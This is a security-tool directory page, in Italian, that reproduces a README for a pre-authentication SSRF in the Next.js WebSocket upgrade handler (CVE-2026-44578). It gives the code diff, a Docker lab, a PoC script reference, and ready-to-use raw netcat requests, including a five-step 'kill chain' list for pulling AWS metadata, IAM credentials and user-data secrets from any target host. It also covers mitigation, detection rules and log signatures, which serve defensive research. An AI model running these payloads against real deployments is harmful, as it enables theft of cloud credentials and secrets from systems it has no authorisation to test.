Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-44578 — CVE-2026-44578: SSRF nell'upgrade WebSocket di Next.js — furto di credenziali pre-autenticazione via localhost:80. Laboratorio + exploit + audit. | Kitploit
Strumenti/GitHubGitHub/dinosn/cve-2026-44578
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza CloudApprendimento e FormazioneLab e Pratica
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: SSRF nell'upgrade WebSocket di Next.js — furto di credenziali pre-autenticazione via localhost:80. Laboratorio + exploit + audit.

Vedi Repository
923 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-44578 — SSRF nell'aggiornamento WebSocket di Next.js

Server-Side Request Forgery pre-autenticazione nelle distribuzioni self-hosted di Next.js.
Una singola richiesta HTTP appositamente costruita estrae credenziali AWS, segreti e dati di servizi interni da localhost:80.

CampoValore
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TipoSSRF (CWE-918)
Versioni vulnerabiliNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (solo self-hosted)
Versione corretta15.5.16, 16.2.5
Autenticazione richiestaNessuna
Interazione utenteNessuna

Vulnerabilità

Il gestore dell'aggiornamento WebSocket in router-server.ts chiama proxyRequest() ogni volta che parsedUrl.protocol è truthy — senza controllare i flag di completamento del routing finished e statusCode che il gestore HTTP aveva sempre applicato.

root@kitploit:~
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

Dopo che normalizeRepeatedSlashes comprime http:/// in http:/, l'hostname è null e http-proxy si connette a localhost:80 con il percorso corretto. Qualsiasi servizio co-localizzato (metadata cloud, pannelli di amministrazione, API interne) viene esposto.


Comando exploit

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl non può inviare URI in forma assoluta. Usa TCP grezzo: nc, ncat, socat o socket Python.


Come funziona

root@kitploit:~
Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

Riproduzione in laboratorio

Prerequisiti

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

Configurazione

root@kitploit:~
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

Lo script avvia 5 container:

I sidecar IMDS usano network_mode: "service:nextjs-*", quindi il servizio di metadata finto si trova su localhost:80 all'interno del container Next.js — simulando una vera istanza cloud.

Esegui l'exploit

root@kitploit:~
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

Smontaggio

root@kitploit:~
./teardown.sh

Evidenze

1. Laboratorio in esecuzione

Tutti i container sono attivi — il vulnerabile (15.5.15) su :3000, il corretto (15.5.16) su :3001, sidecar IMDS che condividono i namespace di rete.

Laboratorio in esecuzione

2. SSRF — Elenco metadata AWS

Una singola richiesta restituisce l'intera directory dei metadata EC2 (ami-id, instance-id, iam/, placement/, ecc.)

Elenco metadata

3. SSRF — Estrazione credenziali IAM

Set completo di credenziali IAM: AccessKeyId, SecretAccessKey, Token ed Expiration.

Credenziali IAM

4. SSRF — Segreti user-data

Script di bootstrap user-data EC2 contenente DB_PASSWORD e API_KEY.

Segreti user-data

5. SSRF — Identità dell'istanza

ID dell'istanza estratto tramite lo stesso vettore SSRF.

ID istanza

6. Istanza corretta — Bloccata

Stesso payload contro Next.js 15.5.16. Connessione chiusa immediatamente — nessun dato restituito.

Corretta bloccata

7. Log IMDS — Prova dell'esecuzione lato server

I log IMDS finti mostrano richieste GET in arrivo da 127.0.0.1 (il processo Next.js), dimostrando che l'SSRF avviene lato server.

Log IMDS

8. Suite PoC completa — Vulnerabile (7/7 confermati)

Tutti i 7 test SSRF restituiscono dati sensibili sull'istanza vulnerabile.

Suite completa vulnerabile

9. Suite PoC completa — Corretta (0/7 bloccati)

Tutti i 7 test bloccati sull'istanza corretta. Fix confermato.

Suite completa corretta


Payload della kill chain

root@kitploit:~
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

Sostituisci T con l'host di destinazione e ROLE con il nome del ruolo IAM.


Limitazioni


Rilevamento e mitigazione

root@kitploit:~
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

Su AWS: imponi IMDSv2 (HttpTokens=required).

Firme nei log:

  • Failed to proxy http:/ — proxy attivato ma destinazione irraggiungibile
  • La variante http:///path non produce alcun log di errore — monitora gli aggiornamenti WebSocket con http: nella riga di richiesta

Riferimenti


Disclaimer

Solo per test di sicurezza autorizzati, istruzione e ricerca difensiva. Utilizza solo contro sistemi di tua proprietà o per i quali hai esplicito permesso scritto di testare.

Scarica lo strumento
ContainerRuoloEsposto
nextjs-vulnNext.js 15.5.15 (vulnerabile)localhost:3000
nextjs-fixedNext.js 15.5.16 (corretto)localhost:3001
imds-sidecar-vulnFake AWS IMDSv1 che condivide la rete con il vulnerabilelocalhost:80 (dalla prospettiva del vulnerabile)
imds-sidecar-fixedFake AWS IMDSv1 che condivide la rete con il correttolocalhost:80 (dalla prospettiva del corretto)
internal-apiMock di servizio interno—
LimitazioneDettaglio
Metodo HTTPSolo GET
Destinazionelocalhost:80 (hostname rimosso dalla normalizzazione)
AWS IMDSv2Non sfruttabile (richiede PUT)
Metadata GCPNon sfruttabile (rifiuta l'header Upgrade)
In hosting su VercelNon vulnerabile
Dietro reverse proxynginx/Caddy/HAProxy bloccano gli URI in forma assoluta
FonteLink
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-44578
GHSAhttps://github.com/advisories/GHSA-c4j6-fc7j-m34r
Commit di fixhttps://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Writeup di Hadrianhttps://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
PoC pubblico (nextssrf)https://github.com/ynsmroztas/nextssrf